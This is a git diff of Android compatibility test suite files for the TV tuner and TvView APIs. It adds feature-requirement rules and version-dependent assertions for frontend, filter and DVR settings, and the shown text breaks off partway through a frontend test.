index aa2b09f..8dda048 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java
@@ -17,14 +17,21 @@
 package android.media.tv.cts;
 
 import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.media.tv.TvView;
 import android.os.Bundle;
-
 import android.tv.cts.R;
 
 public class TvViewStubActivity extends Activity {
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.tvview_layout);
     }
+
+    public TvView getTvView() {
+        return findViewById(R.id.tvview);
+    }
 }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index 47a6517..a562734 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -59,7 +59,7 @@
     private TvInputInfo mFaultyStubInfo;
     private final MockCallback mCallback = new MockCallback();
 
-    private static class MockCallback extends TvInputCallback {
+    public static class MockCallback extends TvInputCallback {
         private final Map<String, Boolean> mVideoAvailableMap = new ArrayMap<>();
         private final Map<String, SparseIntArray> mSelectedTrackGenerationMap = new ArrayMap<>();
         private final Map<String, Integer> mTracksGenerationMap = new ArrayMap<>();
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
index e560e5c..834acad 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
@@ -18,20 +18,19 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.Tuner;
 import android.media.tv.tuner.dvr.DvrPlayback;
 import android.media.tv.tuner.dvr.DvrRecorder;
 import android.media.tv.tuner.dvr.DvrSettings;
 import android.media.tv.tuner.dvr.OnPlaybackStatusChangedListener;
 import android.media.tv.tuner.dvr.OnRecordStatusChangedListener;
-import android.media.tv.tuner.filter.FilterCallback;
-import android.media.tv.tuner.filter.FilterEvent;
 import android.media.tv.tuner.filter.Filter;
+import android.media.tv.tuner.filter.FilterCallback;
 import android.media.tv.tuner.filter.FilterConfiguration;
+import android.media.tv.tuner.filter.FilterEvent;
 import android.media.tv.tuner.filter.RecordSettings;
 import android.media.tv.tuner.filter.Settings;
 import android.media.tv.tuner.filter.TsFilterConfiguration;
@@ -41,21 +40,28 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.RandomAccessFile;
 import java.util.concurrent.Executor;
 
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class TunerDvrTest {
     private static final String TAG = "MediaTunerDvrTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private Context mContext;
     private Tuner mTuner;
 
@@ -64,7 +70,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -78,7 +83,6 @@
 
     @Test
     public void testDvrSettings() throws Exception {
-        if (!hasTuner()) return;
         DvrSettings settings = getDvrSettings();
 
         assertEquals(Filter.STATUS_DATA_READY, settings.getStatusMask());
@@ -90,7 +94,6 @@
 
     @Test
     public void testDvrRecorder() throws Exception {
-        if (!hasTuner()) return;
         DvrRecorder d = mTuner.openDvrRecorder(1000, getExecutor(), getRecordListener());
         assertNotNull(d);
         d.configure(getDvrSettings());
@@ -135,7 +138,6 @@
 
     @Test
     public void testDvrPlayback() throws Exception {
-        if (!hasTuner()) return;
         DvrPlayback d = mTuner.openDvrPlayback(1000, getExecutor(), getPlaybackListener());
         assertNotNull(d);
         d.configure(getDvrSettings());
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java
index 8c0472b..bde450f 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFilterTest.java
@@ -17,12 +17,13 @@
 package android.media.tv.tuner.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.Tuner;
+import android.media.tv.tuner.TunerVersionChecker;
 import android.media.tv.tuner.filter.AlpFilterConfiguration;
 import android.media.tv.tuner.filter.AvSettings;
 import android.media.tv.tuner.filter.DownloadSettings;
@@ -40,9 +41,13 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -51,6 +56,10 @@
 public class TunerFilterTest {
     private static final String TAG = "MediaTunerFilterTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private Context mContext;
     private Tuner mTuner;
 
@@ -59,7 +68,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -73,19 +81,36 @@
 
     @Test
     public void testAvSettings() throws Exception {
-        if (!hasTuner()) return;
         AvSettings settings =
                 AvSettings
-                        .builder(Filter.TYPE_TS, true)
+                        .builder(Filter.TYPE_TS, true) // is Audio
                         .setPassthrough(false)
+                        .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
                         .build();
 
         assertFalse(settings.isPassthrough());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(settings.getAudioStreamType(), AvSettings.AUDIO_STREAM_TYPE_MPEG1);
+        } else {
+            assertEquals(settings.getAudioStreamType(), AvSettings.AUDIO_STREAM_TYPE_UNDEFINED);
+        }
+
+        settings = AvSettings
+                .builder(Filter.TYPE_TS, false) // is Video
+                .setPassthrough(false)
+                .setVideoStreamType(AvSettings.VIDEO_STREAM_TYPE_MPEG1)
+                .build();
+
+        assertFalse(settings.isPassthrough());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(settings.getVideoStreamType(), AvSettings.VIDEO_STREAM_TYPE_MPEG1);
+        } else {
+            assertEquals(settings.getVideoStreamType(), AvSettings.VIDEO_STREAM_TYPE_UNDEFINED);
+        }
     }
 
     @Test
     public void testDownloadSettings() throws Exception {
-        if (!hasTuner()) return;
         DownloadSettings settings =
                 DownloadSettings
                         .builder(Filter.TYPE_MMTP)
@@ -97,7 +122,6 @@
 
     @Test
     public void testPesSettings() throws Exception {
-        if (!hasTuner()) return;
         PesSettings settings =
                 PesSettings
                         .builder(Filter.TYPE_TS)
@@ -111,7 +135,6 @@
 
     @Test
     public void testRecordSettings() throws Exception {
-        if (!hasTuner()) return;
         RecordSettings settings =
                 RecordSettings
                         .builder(Filter.TYPE_TS)
@@ -119,28 +142,27 @@
                                 RecordSettings.TS_INDEX_FIRST_PACKET
                                         | RecordSettings.TS_INDEX_PRIVATE_DATA)
                         .setScIndexType(RecordSettings.INDEX_TYPE_SC)
-                        .setScIndexMask(RecordSettings.SC_INDEX_I_FRAME)
+                        .setScIndexMask(RecordSettings.SC_INDEX_B_SLICE)
                         .build();
 
         assertEquals(
                 RecordSettings.TS_INDEX_FIRST_PACKET | RecordSettings.TS_INDEX_PRIVATE_DATA,
                 settings.getTsIndexMask());
         assertEquals(RecordSettings.INDEX_TYPE_SC, settings.getScIndexType());
-        assertEquals(RecordSettings.SC_INDEX_I_FRAME, settings.getScIndexMask());
+        assertEquals(RecordSettings.SC_INDEX_B_SLICE, settings.getScIndexMask());
     }
 
     @Test
     public void testSectionSettingsWithSectionBits() throws Exception {
-        if (!hasTuner()) return;
         SectionSettingsWithSectionBits settings =
                 SectionSettingsWithSectionBits
                         .builder(Filter.TYPE_TS)
                         .setCrcEnabled(true)
                         .setRepeat(false)
                         .setRaw(false)
-                        .setFilter(new byte[] {2, 3, 4})
-                        .setMask(new byte[] {7, 6, 5, 4})
-                        .setMode(new byte[] {22, 55, 33})
+                        .setFilter(new byte[]{2, 3, 4})
+                        .setMask(new byte[]{7, 6, 5, 4})
+                        .setMode(new byte[]{22, 55, 33})
                         .build();
 
         assertTrue(settings.isCrcEnabled());
@@ -153,7 +175,6 @@
 
     @Test
     public void testSectionSettingsWithTableInfo() throws Exception {
-        if (!hasTuner()) return;
         SectionSettingsWithTableInfo settings =
                 SectionSettingsWithTableInfo
                         .builder(Filter.TYPE_TS)
@@ -173,7 +194,6 @@
 
     @Test
     public void testAlpFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         AlpFilterConfiguration config =
                 AlpFilterConfiguration
                         .builder()
@@ -191,16 +211,16 @@
 
     @Test
     public void testIpFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         IpFilterConfiguration config =
                 IpFilterConfiguration
                         .builder()
-                        .setSrcIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 0, 1})
-                        .setDstIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 3, 4})
+                        .setSrcIpAddress(new byte[]{(byte) 0xC0, (byte) 0xA8, 0, 1})
+                        .setDstIpAddress(new byte[]{(byte) 0xC0, (byte) 0xA8, 3, 4})
                         .setSrcPort(33)
                         .setDstPort(23)
                         .setPassthrough(false)
                         .setSettings(null)
+                        .setIpFilterContextId(1)
                         .build();
 
         assertEquals(Filter.TYPE_IP, config.getType());
@@ -212,11 +232,17 @@
         assertEquals(23, config.getDstPort());
         assertFalse(config.isPassthrough());
         assertEquals(null, config.getSettings());
+        if (!TunerVersionChecker.checkHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1,
+                TAG + ": testIpFilterConfiguration.setIpFilterContextId")) {
+            assertEquals(IpFilterConfiguration.INVALID_IP_FILTER_CONTEXT_ID,
+                    config.getIpFilterContextId());
+        } else {
+            assertEquals(1, config.getIpFilterContextId());
+        }
     }
 
     @Test
     public void testMmtpFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         MmtpFilterConfiguration config =
                 MmtpFilterConfiguration
                         .builder()
@@ -231,7 +257,6 @@
 
     @Test
     public void testTlvFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
         TlvFilterConfiguration config =
                 TlvFilterConfiguration
                         .builder()
@@ -250,8 +275,6 @@
 
     @Test
     public void testTsFilterConfiguration() throws Exception {
-        if (!hasTuner()) return;
-
         PesSettings settings =
                 PesSettings
                         .builder(Filter.TYPE_TS)
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
index 92e5539..9bd036a 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
@@ -16,12 +16,17 @@
 
 package android.media.tv.tuner.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.Tuner;
+import android.media.tv.tuner.TunerVersionChecker;
 import android.media.tv.tuner.frontend.AnalogFrontendCapabilities;
 import android.media.tv.tuner.frontend.AnalogFrontendSettings;
 import android.media.tv.tuner.frontend.Atsc3FrontendCapabilities;
@@ -29,6 +34,8 @@
 import android.media.tv.tuner.frontend.Atsc3PlpSettings;
 import android.media.tv.tuner.frontend.AtscFrontendCapabilities;
 import android.media.tv.tuner.frontend.AtscFrontendSettings;
+import android.media.tv.tuner.frontend.DtmbFrontendCapabilities;
+import android.media.tv.tuner.frontend.DtmbFrontendSettings;
 import android.media.tv.tuner.frontend.DvbcFrontendCapabilities;
 import android.media.tv.tuner.frontend.DvbcFrontendSettings;
 import android.media.tv.tuner.frontend.DvbsCodeRate;
@@ -50,18 +57,28 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import java.util.List;
+import com.android.compatibility.common.util.RequiredFeatureRule;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class TunerFrontendTest {
     private static final String TAG = "MediaTunerFrontendTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private Context mContext;
     private Tuner mTuner;
 
@@ -70,7 +87,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -84,25 +100,43 @@
 
     @Test
     public void testAnalogFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         AnalogFrontendSettings settings =
                 AnalogFrontendSettings
                         .builder()
                         .setFrequency(1)
                         .setSignalType(AnalogFrontendSettings.SIGNAL_TYPE_NTSC)
                         .setSifStandard(AnalogFrontendSettings.SIF_BG_NICAM)
+                        .setAftFlag(AnalogFrontendSettings.AFT_FLAG_TRUE)
                         .build();
 
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+            settings.setEndFrequency(100);
+        } else {
+            settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+            settings.setEndFrequency(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY);
+        }
+
         assertEquals(FrontendSettings.TYPE_ANALOG, settings.getType());
         assertEquals(1, settings.getFrequency());
         assertEquals(AnalogFrontendSettings.SIGNAL_TYPE_NTSC, settings.getSignalType());
         assertEquals(AnalogFrontendSettings.SIF_BG_NICAM, settings.getSifStandard());
+        assertEquals(AnalogFrontendSettings.AFT_FLAG_TRUE, settings.getAftFlag());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(AnalogFrontendSettings.AFT_FLAG_TRUE, settings.getAftFlag());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(AnalogFrontendSettings.AFT_FLAG_UNDEFINED, settings.getAftFlag());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testAtsc3FrontendSettings() throws Exception {
-        if (!hasTuner()) return;
-
         Atsc3PlpSettings plp1 =
                 Atsc3PlpSettings
                         .builder()
@@ -132,6 +166,9 @@
                         .setPlpSettings(new Atsc3PlpSettings[] {plp1, plp2})
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ATSC3, settings.getType());
         assertEquals(2, settings.getFrequency());
         assertEquals(Atsc3FrontendSettings.BANDWIDTH_BANDWIDTH_6MHZ, settings.getBandwidth());
@@ -151,11 +188,20 @@
         assertEquals(Atsc3FrontendSettings.TIME_INTERLEAVE_MODE_HTI, plps[1].getInterleaveMode());
         assertEquals(Atsc3FrontendSettings.CODERATE_UNDEFINED, plps[1].getCodeRate());
         assertEquals(Atsc3FrontendSettings.FEC_LDPC_16K, plps[1].getFec());
+
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testAtscFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         AtscFrontendSettings settings =
                 AtscFrontendSettings
                         .builder()
@@ -163,14 +209,25 @@
                         .setModulation(AtscFrontendSettings.MODULATION_MOD_8VSB)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ATSC, settings.getType());
         assertEquals(3, settings.getFrequency());
         assertEquals(AtscFrontendSettings.MODULATION_MOD_8VSB, settings.getModulation());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testDvbcFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         DvbcFrontendSettings settings =
                 DvbcFrontendSettings
                         .builder()
@@ -180,9 +237,15 @@
                         .setSymbolRate(3)
                         .setOuterFec(DvbcFrontendSettings.OUTER_FEC_OUTER_FEC_RS)
                         .setAnnex(DvbcFrontendSettings.ANNEX_B)
-                        .setSpectralInversion(DvbcFrontendSettings.SPECTRAL_INVERSION_NORMAL)
+                        .setTimeInterleaveMode(DvbcFrontendSettings.TIME_INTERLEAVE_MODE_AUTO)
+                        .setBandwidth(DvbcFrontendSettings.BANDWIDTH_5MHZ)
+                        // DvbcFrontendSettings.SpectralInversion is deprecated in Android 12. Use
+                        // FrontendSettings.FrontendSpectralInversion instead.
+                        .setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL)
                         .build();
 
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_DVBC, settings.getType());
         assertEquals(4, settings.getFrequency());
         assertEquals(DvbcFrontendSettings.MODULATION_MOD_32QAM, settings.getModulation());
@@ -190,14 +253,21 @@
         assertEquals(3, settings.getSymbolRate());
         assertEquals(DvbcFrontendSettings.OUTER_FEC_OUTER_FEC_RS, settings.getOuterFec());
         assertEquals(DvbcFrontendSettings.ANNEX_B, settings.getAnnex());
-        assertEquals(
-                DvbcFrontendSettings.SPECTRAL_INVERSION_NORMAL, settings.getSpectralInversion());
+        assertEquals(DvbcFrontendSettings.TIME_INTERLEAVE_MODE_AUTO,
+                settings.getTimeInterleaveMode());
+        assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                settings.getSpectralInversion());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(100, settings.getEndFrequency());
+            assertEquals(DvbcFrontendSettings.BANDWIDTH_5MHZ, settings.getBandwidth());
+        } else {
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+            assertEquals(DvbcFrontendSettings.BANDWIDTH_UNDEFINED, settings.getBandwidth());
+        }
     }
 
     @Test
     public void testDvbsFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
-
         DvbsCodeRate codeRate =
                 DvbsCodeRate
                         .builder()
@@ -219,8 +289,13 @@
                         .setInputStreamId(1)
                         .setStandard(DvbsFrontendSettings.STANDARD_S2)
                         .setVcmMode(DvbsFrontendSettings.VCM_MODE_MANUAL)
+                        .setScanType(DvbsFrontendSettings.SCAN_TYPE_DIRECT)
+                        .setCanHandleDiseqcRxMessage(true)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_DVBS, settings.getType());
         assertEquals(5, settings.getFrequency());
         assertEquals(DvbsFrontendSettings.MODULATION_MOD_ACM, settings.getModulation());
@@ -230,6 +305,19 @@
         assertEquals(1, settings.getInputStreamId());
         assertEquals(DvbsFrontendSettings.STANDARD_S2, settings.getStandard());
         assertEquals(DvbsFrontendSettings.VCM_MODE_MANUAL, settings.getVcmMode());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(DvbsFrontendSettings.SCAN_TYPE_DIRECT, settings.getScanType());
+            assertTrue(settings.canHandleDiseqcRxMessage());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(DvbsFrontendSettings.SCAN_TYPE_UNDEFINED, settings.getScanType());
+            assertFalse(settings.canHandleDiseqcRxMessage());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
 
         DvbsCodeRate cr = settings.getCodeRate();
         assertNotNull(cr);
@@ -241,14 +329,13 @@
 
     @Test
     public void testDvbtFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         DvbtFrontendSettings settings =
                 DvbtFrontendSettings
                         .builder()
                         .setFrequency(6)
-                        .setTransmissionMode(DvbtFrontendSettings.TRANSMISSION_MODE_8K)
+                        .setTransmissionMode(DvbtFrontendSettings.TRANSMISSION_MODE_EXTENDED_32K)
                         .setBandwidth(DvbtFrontendSettings.BANDWIDTH_1_7MHZ)
-                        .setConstellation(DvbtFrontendSettings.CONSTELLATION_256QAM)
+                        .setConstellation(DvbtFrontendSettings.CONSTELLATION_16QAM_R)
                         .setHierarchy(DvbtFrontendSettings.HIERARCHY_4_NATIVE)
                         .setHighPriorityCodeRate(DvbtFrontendSettings.CODERATE_6_7)
                         .setLowPriorityCodeRate(DvbtFrontendSettings.CODERATE_2_3)
@@ -261,11 +348,12 @@
                         .setPlpGroupId(777)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_DVBT, settings.getType());
         assertEquals(6, settings.getFrequency());
-        assertEquals(DvbtFrontendSettings.TRANSMISSION_MODE_8K, settings.getTransmissionMode());
         assertEquals(DvbtFrontendSettings.BANDWIDTH_1_7MHZ, settings.getBandwidth());
-        assertEquals(DvbtFrontendSettings.CONSTELLATION_256QAM, settings.getConstellation());
         assertEquals(DvbtFrontendSettings.HIERARCHY_4_NATIVE, settings.getHierarchy());
         assertEquals(DvbtFrontendSettings.CODERATE_6_7, settings.getHighPriorityCodeRate());
         assertEquals(DvbtFrontendSettings.CODERATE_2_3, settings.getLowPriorityCodeRate());
@@ -276,11 +364,25 @@
         assertEquals(DvbtFrontendSettings.PLP_MODE_MANUAL, settings.getPlpMode());
         assertEquals(333, settings.getPlpId());
         assertEquals(777, settings.getPlpGroupId());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(DvbtFrontendSettings.TRANSMISSION_MODE_EXTENDED_32K,
+                    settings.getTransmissionMode());
+            assertEquals(DvbtFrontendSettings.CONSTELLATION_16QAM_R, settings.getConstellation());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(DvbtFrontendSettings.TRANSMISSION_MODE_UNDEFINED,
+                    settings.getTransmissionMode());
+            assertEquals(DvbtFrontendSettings.CONSTELLATION_UNDEFINED, settings.getConstellation());
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testIsdbs3FrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         Isdbs3FrontendSettings settings =
                 Isdbs3FrontendSettings
                         .builder()
@@ -293,6 +395,9 @@
                         .setRolloff(Isdbs3FrontendSettings.ROLLOFF_0_03)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ISDBS3, settings.getType());
         assertEquals(7, settings.getFrequency());
         assertEquals(2, settings.getStreamId());
@@ -301,11 +406,19 @@
         assertEquals(Isdbs3FrontendSettings.CODERATE_1_3, settings.getCodeRate());
         assertEquals(555, settings.getSymbolRate());
         assertEquals(Isdbs3FrontendSettings.ROLLOFF_0_03, settings.getRolloff());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testIsdbsFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         IsdbsFrontendSettings settings =
                 IsdbsFrontendSettings
                         .builder()
@@ -318,6 +431,9 @@
                         .setRolloff(IsdbsFrontendSettings.ROLLOFF_0_35)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ISDBS, settings.getType());
         assertEquals(8, settings.getFrequency());
         assertEquals(3, settings.getStreamId());
@@ -327,11 +443,19 @@
         assertEquals(IsdbsFrontendSettings.CODERATE_3_4, settings.getCodeRate());
         assertEquals(667, settings.getSymbolRate());
         assertEquals(IsdbsFrontendSettings.ROLLOFF_0_35, settings.getRolloff());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
     }
 
     @Test
     public void testIsdbtFrontendSettings() throws Exception {
-        if (!hasTuner()) return;
         IsdbtFrontendSettings settings =
                 IsdbtFrontendSettings
                         .builder()
@@ -344,6 +468,9 @@
                         .setServiceAreaId(10)
                         .build();
 
+        settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
+        settings.setEndFrequency(100);
+
         assertEquals(FrontendSettings.TYPE_ISDBT, settings.getType());
         assertEquals(9, settings.getFrequency());
         assertEquals(IsdbtFrontendSettings.MODULATION_MOD_64QAM, settings.getModulation());
@@ -352,15 +479,60 @@
         assertEquals(DvbtFrontendSettings.CODERATE_7_8, settings.getCodeRate());
         assertEquals(DvbtFrontendSettings.GUARD_INTERVAL_1_4, settings.getGuardInterval());
         assertEquals(10, settings.getServiceAreaId());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
+                    settings.getFrontendSpectralInversion());
+            assertEquals(100, settings.getEndFrequency());
+        } else {
+            assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
+                    settings.getFrontendSpectralInversion());
